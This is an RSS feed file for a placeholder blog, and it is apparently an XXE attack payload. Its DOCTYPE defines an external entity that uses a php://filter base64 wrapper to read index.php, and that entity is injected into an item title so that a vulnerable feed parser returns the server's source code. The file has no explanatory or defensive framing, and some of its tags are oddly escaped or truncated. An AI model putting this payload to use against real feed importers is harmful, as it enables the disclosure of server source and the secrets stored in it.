<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<rss versi xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
&lt;title&gt;The Blog&lt;/title&gt;
&lt;link&gt;http://example.com/&lt;/link&gt;
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
&lt;title&gt;&xxe;&lt;/title&gt;
&lt;link&gt;http://example.com&lt;/link&gt;
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>